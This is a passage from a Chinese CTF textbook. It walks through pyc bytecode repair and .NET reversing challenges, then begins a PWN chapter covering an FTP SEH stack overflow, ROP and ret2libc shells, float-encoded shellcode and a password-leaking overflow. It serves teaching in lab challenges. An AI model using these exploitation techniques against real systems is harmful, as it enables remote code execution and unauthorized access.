 保存修改后的二进制文件，使用EasyPythonDecompiler对其进行反编译，结果还是失败了。不过，我们通过反编译得到了一部分源代码，错误信息也发生了变化，具体如下。
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 错误竟然还是NOP指定引起的，只是位置改变了。从错误信息中可以看出，这是一个名为“GetFlag5”的函数，其源代码中序号从1到4的函数内容相差不大。既然这几个函数的内容差不大，那么它们的起始偏移的字节码是否也类似呢？
 
 使用inspect.py将题目给出的pyc文件翻译成字节码，然后查看GetFalg4函数的起始偏移处的字节码，具体如下。
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 这些内容在报错信息中都有，只是在报错信息偏移量为0的位置多了4条指令，分别是NOP、LOAD_CONST、LOAD_CONST、NOP，而错误提示的内容就是偏移量为0的NOP指令出错。因此，尝试删除这4条指令。定位步骤和前面介绍的一样，在二进制编辑器中搜索“0964”，在文件偏移0x00000930处找到了我们需要的内容，如图2-72所示。
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  图2-72
 
 
 
 错误信息中偏移量为0的位置的内容，如图2-73所示。
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  图2-73
 
 
 
 将前8字节删除，看看能否反编译成功。结果是否定的，这次生成的反编译文件中没有任何内容。我们陷入了窘境——问题到底出在哪里呢？既然前面修改代码的操作没有问题，为什么删除了8字节的内容就无法进行反编译了呢？我们可以联想到：就像Windows可执行文件PE一样，pyc文件的内容也是将各种结构有顺序排列在一起。因此，我们需要考虑pyc文件中是否有类似PE文件中的内容长度这样的字段。
 
 通过查找资料发现，我们的想法没有错，字节码在都在“PyStringObject *co_code”这个结构中，而这个结构中只有TYPE_STRING byte、length long、data bytes三个字段。
 
 与题目中的二进制值进行对比。首先是字节的类型标识TYPE_STRING（即s），对应于0x73。然后是4字节标识0xDA000000（十进制值为218）。后面就是co_code的具体内容了，如图2-74所示。
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  图2-74
 
 
 
 删除出问题的8字节指令内容，就必然会改变本段指令的长度。由于原来的长度是218字节（十六进制值为0xDA000000），所以需要在此基础上减去8字节（十进制值为210，十六进制值为0xD2000000）。把前面分析的代码段中的前8字节错误指令删除，在二进编辑器中把对应代码的长度“DA”改为“D2”，如图2-75所示。
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  图2-75
 
 
 
 在图2-75的框选位置可以清楚地看到，长度已经更改，并且代码段的前8字节已经被删除了。
 
 保存二进制文件，使用EasyPythonDecompiler再次进行反编译。让人兴奋的时刻到了——EasyPythonDecompiler提示“Decompile Success”，并在此目录下生成了反编译后的文件，如图2-76所示。
 
 源文件中共有5个序号不同的GetFlag函数，它们都用于对data变量进行操作。依次调用这些函数，最终在调用GetFlag4时找到了一个类似flag格式的字符串。GetFlag4的输出结果如图2-77所示，可以看出，无序的内容夹杂着最终的flag。flag为“flag:{NSCTF_md 576d958d8a8640dfe2ada4811aef59b26}”。
 
 相关知识点
 
 既然本题涉及pyc文件的格式，那么就在这里进行简单的介绍。Python 2.x的pyc文件结构如下。
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 在以上代码的注释中，对整型的域都给出了长度，对其他域则给出了类型。为了使读者清楚地看到文件头与后面的PyCodeObject的界线，特意用分割线进行了标注。
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  图2-76
 
 
 
  
  [image: ] 
  图2-77
 
 
 
 在上面的格式中出现了两种罕见的类型，分别是PyStringObject和PyTupleObject，它们统称为PyObject。在PyObject中，一般先用byte来标识PyObject的类型，每种PyObject所对应的类型都在Python/marshal.c中定义，具体如下。
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 之后是PyObject的具体数据内容。变长的对象（str、tuple、list等）往往还包含一个4字节的len。例如，PyIntObject的存储方式如下。
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 因为关键的字节码存在于PyStringObject类型的对象中，而这个对象就是在本节解题过程中需要了解的字段，所以，在这里分析一下此字段的结构，具体如下。
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 除了PyStringObject类型，在pyc文件中还有很多PyTupleObject类型的结构。此类型的具体结构，举例如下。
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 字段类型就介绍这么多，下面介绍几个重要字段的具体意义。我们先编写一段简单的Python代码，然后执行“python -m”命令将其生成为pyc文件，具体如下。
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 • pyc_magic：pyc文件的魔数，共4字节，用于标识pyc文件的版本信息。不同版本的魔数都在Python/import.c中定义。
 
 • mtime：4字节，int类型，用于标识pyc文件生成的时间（从1970年1月1日到生成pyc文件时的秒数）。
 
 • co_names：所有需要使用的符号的集合，也就是代码中的全局变量、函数名、类名等。在本例的pyc文件中，本字段的值为 'arg1'、'arg2'、'funa'、'funb'。
 
 • co_code：这里存放的就是字节码序列。但是，这里仅存放了顶层代码的字节码序列。那么顶层代码都做了些什么呢？内容如下。
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 第1列是源代码中的行数。第2列是该指令在co_code中的偏移。第3列是opcode，分为有操作数和无操作数两种，是1字节的整数。第4列是操作数，占2字节。这些字节码做的就是源代码中顶层代码所做的事：定义了两个全局变量和两个函数，调用了一个函数。那么，函数代码都在哪里呢？都在下面这个字段中。
 
 • co_consts：包含所有的常量、函数、类等。本例中的字段内容如下。
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 通过这段字节码可以看出，函数代码都在co_consts字段中，且每个函数的字节码都是一个PyCodeObject结构，这样就相当于进行了一次递归嵌套。但是，因为如果有更多的函数或类等，那么它们会在顶层的co_consts字段中顺序排列，且最终用一个None来标识，所以，在这里只会嵌套一次。
 
 通过以上分析，读者应该对pyc文件的框架结构有了一定的了解。本书的主题不是介绍Python技术，如果读者对pyc文件格式感兴趣，可以找一些资料来阅读，然后自己动手尝试操作。通过对比pyc二进制文件和pyc的结构格式，可以达到事半功倍的效果。
 
 
 2.5　.NET可执行程序
 
 本节介绍 .NET平台上的逆向题目，主要涉及反编译和调试技术。
 
 题目1　.NET反编译和BMP图像
 
 题目概况
 
 题目标题为“decrypt_img”（来自Boston-Key-Party），提供的EXE文件是一个使用C#编写的 .NET程序。选手需要对该程序进行逆向，分析其加密方式，然后将其恢复为BMP格式的图片。
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 解题思路
 
 题目给出了一个ZIP压缩包，其中一共有3个文件，分别是con.exe、cryptdll.dll和decryptme.bmp.bkenc。在正常情况下，解题之前肯定要把压缩包解压。这时就遇到了第一个问题：当使用WinRAR解压con.exe时，会提示con.exe已经存在，并询问是否需要替换，如图2-78所示。
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  图2-78
 
 
 
 单击“是”按钮，仍然无法看到解压后的con.exe文件，且每次解压时都会弹出这个对话框。改用7-Zip，可以正常解压，解压的con.exe将被重命名为“_con.exe”，且可以正常运行。下面介绍一下为什么会出现这种情况。
 
 为什么不能把文件或文件夹命名为“con”？因为DOS系统预留了一些设备名，所以，为防止出现冲突，在Windows操作系统中，无法以设备名来命名文件或文件夹。这些设备名主要包括aux、com1、com2、prn、con、nul等，它们均为保留名称。
 
 了解这些内容后，就可以在解压软件中将con.exe重命名，然后解压了。运行此程序，如图2-79所示。
 
  
  [image: ] 
  图2-79
 
 
 
 程序说它加密了一幅图片，但是忘记了密码，需要选手将其恢复，那么压缩包中的文件decryptme.bmp.bkenc就应该是被加密的图片。在将这个文件名输入程序后，还需要输入一个包含key的文件。但是，现在我们不知道key的任何信息，所以，接下来需要查看程序的代码。
 
 使用PEiD查看程序代码，发现con.exe是一个 .NET程序。针对 .NET的反编译，有一款非常著名的软件 .NET Reflector，它不仅可以反编译 .NET的程序，还能够将反编译代码导出为Visual Studio工程。
 
 使用 .NET Reflector将con.exe打开。像许多IDE一样，在 .NET Reflector的工程目录下列出了很多系统模块，而新载入的软件会列在工程目录的最后。单击想要查看的模块，得到本题的反编译结果，如图2-80所示。
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  图2-80
 
 
 
 在这里可以清楚地看到反编译的Main()函数的原始代码。如果读者对 .NET中间语言有所了解，也可以在工具栏的下拉列表框中选择将程序反编译为IL语言的选项。不过，我们的目的是解题，既然有了源代码，又何必去阅读中间语言代码呢？
 
 本题的源代码相对简单，所以通过Main()函数代码就可以了解程序的功能了。不过，对于比较复杂的工程，在 .NET Reflector中查看就显得有些麻烦（.NET Reflector的功能不如IDE强大）。前面提到过，.NET Reflector可以将反编译代码导出为Visual Studio工程，下面介绍其实现方法。
 
 在本题中，被反汇编的程序叫作con.exe，其在 .NET Reflector中叫作gramshit。有一定编程基础的读者应该知道，这是在编写代码时创建的工程名，而最终生成的可执行程序是可以任意命名的。在gramshit工程上单击右键，在弹出的快捷菜单中选择“Export Source Code”选项，然后选择存储路径。经过简单的步骤，程序的源代码工程就保存到本地磁盘中了。此时，用Visual Studio打开它，就能进行修改和编译了。
 
 Main()函数的源代码如下。
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 可以看出，程序需要我们输入两个文件（一个是需要加密的原始文件，另一个是54字节的key文件），然后调用Encryption.encrypt()函数进行加密操作。
 
 跟踪Encryption.encrypt()函数，它的声明为“public static extern void encrypt(byte[] file,int length, byte[] key, int keylen)”。该函数是从cryptdll.dll中引入的，这个文件就是题目提供的第三个文件。
 
 使用IDA加载cryptdll.dll，然后查看该函数的反汇编代码，具体如下。
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 通过以上代码可知，输入的54字节的key文件被加密了。由于C语言代码形式烦琐，可以用Python语言将以上代码写成如下形式。
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 继续向下看，在进入do…while循环时，使用由以上Python代码中的加密算法计算得到的key值和读取的文件进行异或加密，当此轮异或加密的结果达到key的长度后，就会根据key调用sub_10001270()函数，并产生一个新的key。sub_10001270()函数的作用是利用原来的key值产生一个srand种子，然后调用rand()函数。这样看来，解密工作不能出现任何差错——由于所有的加密过程都需要使用原来的key值，所以，哪怕解密工作有一点差错，都无法得到最终的结果。
 
 分析了这么多，可以看出此加密算法就是几个异或加密的循环。所以，此程序既可以作为加密工具，也可以作为解密工具。如果能够拿到原始key文件的内容，就可以解答这道题了。
 
 整个文件都是加密的，文件最初的54字节只与通过以上Python代码中的算法得到的key值进行异或，而异或是可逆的。因此，以上Python代码中的异或加密的解密形式可以用如下代码表示。
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 因为我们手里有经过加密的文件decryptme.bmp.bkenc，且已经知道异或后的54字节的内容，所以，如果再知道原始文件的54字节的内容，就能得到原来的key了。
 
 这时可能有读者会问：我怎么知道原始文件的前54字节是什么呢？在这里要再次强调CTF的解题“常识”：肯定会有线索，一定要仔细观察，通过一切细节去联想。
 
 为什么是54字节呢？这是出题人脑袋一热想出来的吗？这是因为BMP文件头的长度是54字节，且其中大部分字节都是固定的。
 
 固定值在这里就不介绍了（可以参考链接2-4），下面列出可变字段。
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 其中有4组8个问号部分，它们分别代表以下内容。
 
 • fbfType：文件大小。
 
 • biWidth：图像宽度，单位为像素。
 
 • biHeight：图像高度，单位为像素。
 
 • biSizeImage：图像大小。
 
 因为本题程序的加密过程是逐字节进行的，所以文件的大小没有改变。这个字段的值和decryptme.bmp.bkenc的大小一样，单击右键，在弹出的快捷菜单中选择“属性”选项，就可以在打开的对话框中看到文件大小为1440054字节。图像的大小就是文件的大小减去文件头部的54字节，所以图像的大小为1440000字节。将这两个十进制数转换为十六进制数，分别为0x15F936和0x15F900。按照小端序写法，内容如下。
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 现在，还剩图像的高和宽没有填写。本题BPM图像的大小为1440000字节，而在BMP图像中每3字节表示一个像素，所以，本题BMP图像中共有480000个像素（通过图像的宽和高相乘得到）。我们可以写几行代码，看一下都有哪些可能，具体如下。
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 通过以上代码可以得到宽和高的两个可能的整数值。我们还是通过编写程序来解密，具体如下。
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 通过以上代码得到的key值里面有很多乱码，其中只有几个是可显示字符：由768像素×625像素得到的key值为djkfah8Fh2389jksdhFsDHocKLf894hlasdfhalsdf789h4JKASDHF；由800像素×600像素得到的key值为djkfah8Fh2389jksdhfSDHFJKLf894hlasdfhalsdf789h4J KASDHF。
 
 这两个值看起来都像是正确的。接下来，通过con.exe和decryptme.bmp.bkenc进行尝试。因为con.exe需要将key值写入文件，所以分别将这两个值写入，然后按照con.exe的提示进行输入，可知800像素×600像素的key值是正确的，解密后文件的后缀为“.bkenc”。
 
 修改文件名称，打开部分图片，如图2-81所示。
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  图2-81
 
 
 
 这样就得到了最终的flag——key{DLL_importing_is_ez!}。
 
 相关知识点
 
 C#和 .NET的关系就像Java程序和JVM的关系。Java程序的运行需要JVM，C# 程序的运行需要 .NET Framework。
 
 C#源代码经过编译器的编译，变成了微软中间语言（MSIL）代码。其实，本题的程序就是一个可执行文件，也可以叫作程序集（.exe文件）。
 
 需要注意的是，并非所有的EXE文件都可以称作程序集，由MSIL组成的文件才能称作程序集。当程序执行时，MSIL（程序集）将被CLR（和Java虚拟机一样是一个运行时环境，负责资源管理工作，并保证在应用和底层操作系统之间进行必要的分离）翻译成相应平台的CPU指令，然后交给CPU执行。
 
 从技术角度看，一个 .NET应用就是一个运行在 .NET Framework上的应用程序。如果一个应用程序与 .NET Framework无关，那么它就不能称作 .NET程序。
 
 .NET支持多种编程语言，所有的编程语言编写的代码最终都将交给CLR来执行，因此，.NET是“语言无关”的。微软推出的可用于 .NET程序开发的语言有VB.NET、J#、C#、F#。此外，VC++支持托管 .NET程序开发。
 
 题目2　.NET程序的反混淆和调试分析
 
 题目概况
 
 题目标题为“bikinibonanza”（来自CSAWQual），内容如下。题目的 .NET程序经过混淆，反编译后的分析难度较大，需要选手使用de4dot进行反混淆，然后使用dnSpy进行调试。
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 解题思路
 
 题目给出了一个EXE文件。输入任意内容，然后单击“Submit”按钮，会显示相应的错误提示，如图2-82所示。
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  图2-82
 
 
 
 将EXE文件放入IDA，发现这是一个 .NET程序，所以需要使用 .NET专项工具 .NET Reflector进行操作。
 
 使用 .NET Reflector加载程序，在浏览时发现反编译后的函数名都已被混淆，无法得知原始代码中的函数名，如图2-83所示。
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  图2-83
 
 
 
 所有的函数名都一样长——虽然对分析流程没有影响，但对我们完成分析代码流程这项任务来说很不方便。所以，可以使用 .NET反混淆工具de4dot。de4dot是一个用C# 编写的控制台工具，也是一个开源的 .NET反混淆脱壳工具。
 
 在de4dot的目录中有两个可执行文件，分别为32位的和64位的。此位数指的可不是操作系统的位数，而是我们要分析的程序的位数。在使用IDA导入本题的程序时，得知该程序是32位的，因此，de4dot的用法如图2-84所示。
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  图2-84
 
 
 
 可以看出，尽管de4dot加载了21种反混淆模块，但仍然显示“Detected Unknown Obfuscator”，说明无法检测这个程序集是用什么方式进行混淆的。不过，de4dot可以将反混淆程序集重新生成一个程序集。既然不知道混淆方式，为什么还要重新生成一个程序集呢？使用 .NET Reflector加载新生成的可执行文件，如图2-85所示。
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  图2-85
 
 
 
 这就是de4dot反混淆的效果，函数名按“method_序号”的形式递增，控件名和各类变量用“英文名称+序号”的形式表示。既然看上去不那么别扭了，就可以开始分析程序的流程了。
 
 首先找到程序的构造函数 .ctor()，发现其中只有this.InitializeComponent()。在 .NET Reflector中，可以单击跟进代码中的函数。跟进之后，就会对此表单（Form）中的各种控件进行初始化。因为本题程序的界面上只有一个按钮，而根据常识可知，验证流程一定在此按钮的事件中，所以，可以在控件初始化代码中找到与按钮有关的内容，具体如下。
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 button1_Click就是本题程序中按钮的Click事件。跟进并查看，关键代码如下。
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 依然是和很多逆向题目相同的套路：将字符串“NeEd_MoRe_Bawlz”和当前时间的小时数加1的值交给method_7处理，返回str3；将str3和在界面中输入的内容进行比较，如果相同，就能运行程序。其实，程序运行到这一步，flag已经在str3中了。如果能让程序以调试模式在这里中断，就可以看到str3的内容，也就能得到flag了。
 
 MGDB是微软提供的用于调试 .NET程序的工具。它是一个控制台程序，如果使用者对 .NET研究较少，使用起来会有一定的难度。不过，市面上有图形化的 .NET调试工具，所以我们可以偷个懒。
 
 笔者推荐的工具是dnSpy。dnSpy是一款由ILSpy发展而来的开源的 .NET程序集编辑、反编译和调试利器。它是一个绿色程序，解压后即可使用。本题程序需要在 .NET 4.6中运行，如果dnSpy检测不到该环境，就会提示安装。此外，dnSpy能区分32位和64位的程序。因为本题需要分析的程序是32位的，所以应使用dnSpy-x86.exe加载已被反混淆的本题程序，如图2-86所示。
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  图2-86
 
 
 
 dnSpy的界面和Visual Studio相似，调试快捷键也和Visual Studio相同。如图2-86所示，我们已经在str3处设置了断点。虽然在snSpy中，str3变成了strB，但是这毫无影响。
 
 界面上有一个“启动”按钮，设置断点后单击该按钮即可运行程序。第一次单击该按钮时会弹出一个设置对话框，需要填写程序路径和工作目录，最重要的是要设置断点（在这里选择“默认的某块的静态构造函数或入口点”选项即可）。
 
 程序运行后，会在断点处中断。继续运行程序，就会弹出图形界面。在其中随便输入一些内容，然后单击“启动”按钮，dnSpy就会在我们设置的断点处中断，我们需要的内容就会出现，如图2-87所示。
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  图2-87
 
 
 
 记录strB的值“095B965FE1F52D30464AD0CE099F9B5F”，然后结束调试。
 
 再次正常启动程序，将strB的值输入并提交，在本题程序的界面上将显示最终的flag，如图2-88所示。
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  图2-88
 
 
 
 笔者通过对其他程序的逆向发现：采取解答本题时使用的方法，分析并提取字符串的加密代码，然后将其写出，也可以得到flag。
 
 下面分析本题程序的加密过程。
 
 通过以上分析可知，字符串加密是在method_7中进行的。method_7的内容如下。
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 在这里就不具体分析以上代码的运行流程了。
 
 既然所有的加密代码都已经拿到了，而且拿到的都是C#代码，我们就可以新建一个C#工程，将上述代码复制进去，少量修改内容，从而得到flag了。这一过程请读者自行尝试，在此就不展示了。
 
 相关知识点
 
 （1）混淆
 
 什么是“混淆”？顾名思义，就是混杂、使界限不分明。“混淆”这个词相当妙，特别是用在计算机领域的时候。
 
 最简单的混淆是名称混淆，即将命名空间名、类名、方法名、字段名等统统换成特殊符号或其他符号，以切断显示名称与实际名称的关联，示例代码如下。
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 如果要破解这个程序，那么在看到“Register”时，就会知道这很可能是我们需要的。但是，我们只看到了a，那么a是什么？可见，在某些情况下，名称混淆还是能起到作用的。
 
 下面说说名称混淆的优点。
 
 • 使用短名称和不可见字符，将使程序集变小。
 
 • 使程序看上去更难理解（只是“看上去”而已）。
 
 名称混淆的缺点不多，只有一个，却是致命的——有时修改类名后程序无法执行。这种问题在DLL文件中常见，在EXE文件中也经常发生。
 
 总结一下，最简单的混淆就是名称混淆。我们可以在程序开发过程中使用名称混淆，但很可惜，它起不了太大的作用，它的强度不足以挡住想得到我们的源代码或侵害我们的知识产权的人。
 
 那么，有没有更好的办法呢？当然有，那就是强度更高的流程混淆。流程混淆的原理是：把方法中的代码分为几段，并把各段错开，然后利用跳转语句连接原来的流程逻辑，达到执行正确的程序的目的。
 
 （2）反混淆
 
 在安全领域，一直以来都是有攻才有防。因此，有混淆方法，就有反混淆方法。
 
 对于名称混淆的反混淆，因为原来的名称已经被替换了且没有名称备份表，程序根本无法还原，所以根本无法实现。不过，可以通过名称混淆的反混淆把不可见字符转换为可见字符，把长字符串转换为短字符串。
 
 在MetaData中有一个_STRING区域，其中存放了所有的名称字符串，只要修改这里的内容就可以实现名称混淆的反混淆。不过，使用此方法需要对元数据结构特别熟悉。如果对元数据不够了解，则可以先使用ILDASM对混淆后的程序集进行反编译和修改，再使用ILASM进行编译，从而实现名称混淆的反混淆。如果只想了解程序的流程，那么修改与否并不重要（不过修改后程序读起来比较“形象”）。如果想利用程序代码，则可以通过名称混淆的反混淆将不可见字符转换为可见字符（这对程序分析有很大的帮助）。
 
 其实，流程混淆的反混淆才是真正有用的混淆方式。它能够改变流程的存放顺序，从而达到静态反编译的效果（名称混淆是可以被反编译的）。不过，它无法阻止读取IL的操作，这是由流程混淆的先天不足导致的。
 
 如何对流程混淆进行反混淆？因为在进行流程混淆时会将程序分段，使用JMP指令强行跳转，所以，可以对照被混淆的代码，根据程序的逻辑关系把语句拿出来并重新组合。
 
 C#的混淆工具和反混淆工具的使用方法，请读者参考相关资料自行学习。
 
 小结
 
 在本节的“题目1”中，我们导出了反编译后的代码，并使用Visual Studio将其打开。在本题中为什么没有这样做呢？因为本题的原始程序集已被混淆，且混淆后的名称都是不可见字符，所以，对其进行反编译会产生错误（无法正确编译）。
 

  第3章　PWN类赛题


  二进制溢出也称为PWN。“PWN”是一个黑客俚语词，是从“OWN”引申而来的，意思是玩家在游戏对战中占据优势，或者对手在游戏对战中处于劣势。这个词在网络游戏文化中主要用于嘲笑对手在游戏对战中被全面击败（例如“You just got PWNED”）。一个著名的国际CTF赛事就叫作Pwn2Own。现在，相信你已经理解这个词了——通过打败对手取得最终胜利。


  CTF比赛中的PWN类赛题通常会直接给出一个已编译的二进制程序（Windows下的EXE或Linux下的ELF等），选手通过对二进制程序进行逆向分析和调试找出漏洞并编写利用代码，通过远程代码执行实现溢出攻击，最终拿到目标机器的Shell，夺取flag。


  常见的PWN类赛题有以下几种。


  • Windows。


  • Python。


  • Linux：包括stack、ret2plt、ret2libc、heap、fastbin、unlink、use after free。


  • 其他：包括格式化字符串、整数溢出。

 
 3.1　Windows PWN
 
 题目　FTP协议栈溢出漏洞
 
 FTP协议栈溢出题目主要考察选手对FTP协议的了解程度及对Windows栈溢出漏洞的利用水平。
 
 题目概况
 
 在一台Windows XP SP3主机中，FTP服务器存在漏洞，请找出该漏洞并实现对该漏洞的利用。已知账号admin，密码123456，相关信息如下。
 
 • 操作系统：Windows XP SP3。
 
 • 账号：admin。
 
 • 密码：123456。
 
 • 软件的安装包。
 
 解题思路
 
 尝试使用admin/123456的组合登录主机的远程桌面，结果失败了。
 
 既然题目要求我们找出FTP服务器的漏洞，那么可以猜测admin/123456是FTP服务器的账号和密码。此外，题目提供了软件安装包。要想获得远程机器上的flag文件，一个可行的方案是在本地搭建测试环境，进行漏洞挖掘，然后在目标机器上执行。
 
 在本地搭建Windows XP SP3虚拟机，安装题目提供的软件包。
 
 输入本地IP地址127.0.0.1，用户名admin，密码123456，开启服务，如图3-1所示。执行“netstat -an”命令，查看开放的端口。21端口已经开放，说明服务正常运行。
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  图3-1
 
 
 
 接下来就要进行漏洞挖掘了。
 
 首先，选择自己常用的工具。在这里，笔者选择的是AlphaFuzzer的FTPFUZZ模块和网络协议的模糊测试模块，如图3-2和图3-3所示。在一般情况下，模糊测试可以触发软件的漏洞。
 
 然后，开启模糊测试功能，等待漏洞挖掘软件给出结果。经过漫长的等待，FTPFUZZ模块触发了一次FTP崩溃，如图3-4所示。
 
 对崩溃点进行深入分析。在图3-4所示界面中，把APPE后面的数据改成“aaaaaaaa”并适当调整长度。经过测试，过长的数据不会导致可以直接控制EIP的崩溃。略微缩短数据的长度，将会发现，当长度合适时，POC就可以控制EIP寄存器，如图3-5所示。
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  图3-2
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  图3-3
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  图3-4
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  图3-5
 
 
 
 分析POC，如图3-6所示，发现SEH链表被改变是EIP被控制的直接原因。因此，通过修改EIP即可利用该漏洞。
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  图3-6
 
 
 
 栈地址已被覆盖，如图3-7所示。
 
 经过分析，该漏洞是栈缓冲区溢出漏洞。利用该漏洞可以执行任意代码。将Shellcode放入数据包，即可控制远程主机，从而拿到存储在主机中的flag文件。
 
 既然对题目程序中的漏洞有了明确的认知，就可以编写漏洞利用脚本了。该漏洞的利用方式很多，在这里通过淹没SEH链表的方式来控制EIP寄存器。
 
 执行EXP，即可添加一个系统用户test，如图3-8所示。修改EXP，直接读取flag文件，完成本题。
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  图3-7
 
 
 
  
  [image: ] 
  图3-8
 
 
 
 小结
 
 Windows下的PWN类赛题，主要考察选手的漏洞挖掘经验，以及对常用模糊测试工具的熟悉程度。只有对常用模糊测试工具的功能较为了解，才能在第一时间选择正确的工具对漏洞进行挖掘。除此之外，选手需要在POC构造、软件调试、逆向分析、EXP开发等方面有所积累。
 
 
 3.2　Linux PWN
 
 基于Linux平台的PWN类赛题是CTF比赛中常见的题目，主要涉及栈溢出漏洞、格式化字符串漏洞、整数溢出漏洞、堆溢出漏洞。
 
 题目1　静态编译软件栈溢出漏洞
 
 题目概况
 
 这是429CTF中的一道题目。
 
 运行如下程序，计算次数为4～255。
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 输出内容如下。
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 输入内容表示需要进行的操作的数字。输入“5”将直接退出；输入其他数字将提示输入x和y两个数字，然后输出结果。
 
 设置循环输入的次数，具体如下。
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 程序看上去是一个简单的计算器。
 
 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。在GDB中启动程序，输入checksec命令，结果如下。
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 在IDA中查看程序的伪代码，找出入口函数。
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 通过IDA给出的反编译代码可知，程序将计算结果保存到堆中（变量v7），在case 5中使用memcpy()函数把所有结果复制到栈中（变量v5）。由于没有判断复制数据的大小，所以复制数据的大小可能超过栈变量的大小，造成栈溢出。此外，由于程序是使用静态链接编译的，所以可以尝试使用ROPgadget生成ROP链，最后通过栈溢出和ROP获取Shell。
 
 经过17次计算，在将结果保存到栈中时，正好覆盖程序的返回地址。在覆盖栈变量时一定要将寄存器v7的值覆盖为0，这样在执行free(v7)时就不会报错了。
 
 使用ROPgadget生成ROP链，具体如下。
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 然后，利用程序的乘法运算功能将ROP输入程序。
 
 在本地运行程序，如图3-9所示。
 
 如果能够在本地利用该漏洞，就可以根据题目给出的地址，尝试进行远程利用，具体如下。
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 如果能够进行远程利用，就可以到远程服务器中寻找flag.txt文件了。
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  图3-9
 
 
 
 相关知识点
 
 本题主要考察栈溢出漏洞和ROP的利用方式。使用ROPgadget构造ROP链，利用栈溢出漏洞跳转到ROP链以获取Shell，漏洞代码如下。
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 题目2　ret2libc栈溢出漏洞
 
 题目概况
 
 ret2libc栈溢出漏洞题目主要考察选手对Linux平台软件动态编译的理解。选手不仅要熟悉全局偏移表（Global Offset Table，GOT）技术，还要能利用该技术实现栈溢出漏洞的利用。
 
 本题来自XDCTF。运行程序“Welcome to XDCTF2015~!”，具体如下。
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 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。在GDB中启动程序，输入checksec命令，具体如下。
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 将程序放入IDA，找出main()函数。按“F5”键查看main()函数的伪代码。程序输出“Welcome to XDCTF2015~!\n”后，会调用sub_8048484()函数，具体如下。
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 sub_8048484()函数的内容如下。
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 使用sub_8048484()函数读取长度为0x100的变量，即可覆盖函数的返回地址，从而获得控制流。由此可见，程序中存在一个典型的栈溢出漏洞。但是，由于程序开启了NX（“No-execute”的缩写）保护功能且没有system@plt，所以，我们需要使用libc的system函数的地址来构造ROP链，从而实现绕过，步骤如下。
 
 ①利用write@plt中的libc信息，找到system函数的地址。
 
 ②利用read@plt将字符串“/bin/bash”写入data段。
 
 ③再次发生溢出时，构造函数的返回地址（system）和栈空间的参数（/bin/bash）。
 
 NX保护的原理是将数据所在内存页标识为不可执行，当程序溢出并转到Shellcode，尝试在数据页面上执行指令时，由CPU抛出异常。开启了NX保护功能的程序，即使发生了栈溢出，也无法直接被利用。
 
 在寻找system函数的地址时，可以使用pwntools的DynELF模块。将一个可以循环泄露任意地址信息的函数传递给DynELF，就可以利用lookup()函数找到有关libc的信息。
 
 利用栈溢出漏洞，跳转到write@plt处，被泄露的内存地址将被输出（每次输出4字节）。然后，执行write()函数，跳转到程序的开头，实现循环利用（符合DynELF的要求），具体如下。
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 找到system函数的地址后，利用read()函数读取输入的/bin/bash，将其写入data段，具体如下。
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 最后，根据system函数的地址和/bin/bash的地址构造栈空间，以执行system("/bin/bash")函数，具体如下。
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 运行脚本，如图3-10所示。
 
 如果能够在本地利用漏洞，就可以根据题目给出的地址，尝试在远程利用漏洞，具体如下。
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  图3-10
 
 
 
 相关知识点
 
 本题主要考察栈溢出漏洞和ROP的利用方式。首先利用栈溢出漏洞使system函数的地址泄露，然后将“/bin/bash”写入data段，构造ROP，最后执行system("/bin/bash")函数，代码如下。
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 题目3　构造浮点型Shellcode
 
 题目概况
 
 构造浮点型Shellcode题目主要考察选手对IEEE 754浮点型的了解程度，以及如何把Shellcode的十六进制值转换成浮点型的，内容如下。
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 解题思路
 
 将程序放入IDA，查看入口函数，具体如下。
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 可以看出，give_shell()函数的使用是个“障眼法”，本题实际考察的是选手对IEEE 754浮点型的了解，以及如何把Shellcode填充到数组中。因此，最合理的填充思路是在将Shellcode的十六进制值转换成浮点型的过程中使小数点后为0，例如123.0、234.0。
 
 使用转换工具（见链接3-1）进行尝试，如图3-11所示。
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  图3-11
 
 
 
 最合理的值，前面是0x48（inc eax），后面是0x40（dec eax）。这样不仅能够保证eax的值无论是加1还是减1都不会产生变化，还能够保证没有小数部分，即1.811445E5等价于1811445。
 
 换其他值试试看。如图3-12所示，有小数部分，这样一来就可以添加Shellcode了。
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  图3-12
 
 
 
 但是，由于这个函数对传入的值进行了除以4000的计算，所以，需要乘以4000，且结果不能超过int位的最大值2147483647，具体如下，结果如图3-13所示。
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 412042×4000=1648168000，小于int位的最大值2147483647，如图3-14所示。
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  图3-13
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  图3-14
 
 
 
 对每个输入都进行上述计算，输出如下。
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 在“for ( i = 0; i <= 24 && __isoc99_scanf("%d", &v4); ++i)”这个语句中，“i <= 24”表示Shellcode填充的最小值为24。
 
 最终的漏洞利用代码如下。
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 利用结果如图3-15所示。
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  图3-15
 
 
 
 题目4　Linux栈溢出漏洞
 
 题目概况
 
 Linux栈溢出漏洞题目主要考察选手对IDA的使用和对Linux平台上的软件栈溢出漏洞的利用。
 
 执行题目给出的程序，发现这是一个用于读写信息的程序，具体如下。
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 解题思路
 
 执行“gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial”命令，开启ASLR。
 
 通过IDA对程序进行逆向，发现adminpassword是从flag.txt文件中读取的，所以，可以猜测密码就是flag，且adminpassword是不受ASLR保护的（其原理参见链接3-2），如图3-16所示。
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  图3-16
 
 
 
 使用GDB打印adminpassword的地址，具体如下。
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 由此可见，在addmessages里发生了溢出，src是32的缓冲区，变量大小为320字节，如图3-17所示。
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  图3-17
 
 
 
 编写一个EXP，使用它来寻找溢出点Exp1.py，具体如下。
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 因为在313处发生了溢出，所以我们要覆盖的就是313处。
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 执行命令“overflow+addr(adminpassword), "Z" * 312 + p32(0x804b0a0)Exp2.py”，修改Exp2.py，具体如下。
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 拿到flag，具体如下。
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 题目5　ret2plt栈溢出漏洞
 
 题目概况
 
 ret2plt栈溢出漏洞题目主要考察选手对Linux平台上软件动态编译的理解，需要选手熟悉程序链接表（Procedure Linkage Table，PLT）技术，并能利用该技术实现栈溢出漏洞的利用。
 
 本题是“红帽杯”的一道PWN类赛题。执行“pwn test”命令，程序如下。
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 解题思路
 
 首先检测一下本题的程序开启了哪些保护机制。使用GDB启动程序，输入checksec命令，具体如下。
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 可以看出，程序开启了NX保护功能。
 
 使用IDA查看程序的伪代码，找出入口函数，具体如下。
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 程序在对scanf()函数进行输入时没有进行判断，导致输入内容的长度超过了栈变量的长度，造成了栈溢出。因为有NX的保护，程序无法直接转到Shellcode，所以，在解答本题时，可以通过ret2libc、ret2plt等方法绕过NX（在使用ret2libc时，需要在服务器上关闭ASLR或掌握libc信息）。
